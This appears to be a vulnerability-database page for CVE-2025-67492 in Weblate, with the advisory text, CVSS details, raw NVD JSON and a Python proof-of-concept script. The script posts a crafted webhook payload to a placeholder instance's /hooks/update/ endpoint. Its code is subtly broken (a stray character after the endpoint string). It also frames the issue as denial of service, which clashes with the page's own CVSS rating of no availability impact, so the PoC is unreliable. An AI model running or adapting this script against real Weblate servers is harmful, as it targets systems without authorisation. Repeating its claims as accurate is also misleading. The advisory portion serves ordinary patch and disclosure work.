Security Vulnerability Report
中文
CVE-2025-67492 CVSS 5.3 MEDIUM

CVE-2025-67492

Published: 2025-12-16 01:15:52
Last Modified: 2025-12-17 16:03:46

Description

Weblate is a web based localization tool. In versions prior to 5.15, it was possible to trigger repository updates for many repositories via a crafted webhook payload. Version 5.15 fixes the issue. As a workaround, disabling webhooks completely using ENABLE_HOOKS avoids this vulnerability.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:weblate:weblate:*:*:*:*:*:*:*:* - VULNERABLE
Weblate < 5.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-67492 Webhook DoS PoC # Affected: Weblate < 5.15 # Description: Crafted webhook payload triggers excessive repository updates import requests import json import time TARGET_URL = "https://vulnerable-weblate-instance.com" WEBHOOK_ENDPOINT = f"{TARGET_URL}/hooks/update/"/ # Craft malicious webhook payload # This payload triggers updates for multiple repositories malicious_payload = { "component": [ {"slug": "component-1", "repo": "https://github.com/example/repo1"}, {"slug": "component-2", "repo": "https://github.com/example/repo2"}, {"slug": "component-3", "repo": "https://github.com/example/repo3"}, {"slug": "component-4", "repo": "https://github.com/example/repo4"}, {"slug": "component-5", "repo": "https://github.com/example/repo5"} ], "project": { "slug": "target-project", "repo": "https://github.com/example/project" } } def exploit(): """Send crafted webhook payload to trigger resource exhaustion""" headers = { "Content-Type": "application/json", "User-Agent": "Weblate-Hook" } print(f"[*] Sending malicious webhook payload to {TARGET_URL}") print(f"[*] Payload size: {len(json.dumps(malicious_payload))} bytes") try: response = requests.post( WEBHOOK_ENDPOINT, json=malicious_payload, headers=headers, timeout=30 ) print(f"[*] Response status: {response.status_code}") return response.status_code == 200 except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-67492 PoC - Weblate Webhook Resource Exhaustion") print("=" * 60) exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67492", "sourceIdentifier": "[email protected]", "published": "2025-12-16T01:15:51.907", "lastModified": "2025-12-17T16:03:45.927", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Weblate is a web based localization tool. In versions prior to 5.15, it was possible to trigger repository updates for many repositories via a crafted webhook payload. Version 5.15 fixes the issue. As a workaround, disabling webhooks completely using ENABLE_HOOKS avoids this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1286"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:weblate:weblate:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.15", "matchCriteriaId": "14EFFA2F-0B87-4B40-936D-8A2BFBB069A2"}]}]}], "references": [{"url": "https://github.com/WeblateOrg/weblate/pull/17221", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/WeblateOrg/weblate/security/advisories/GHSA-pj86-258h-qrvf", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}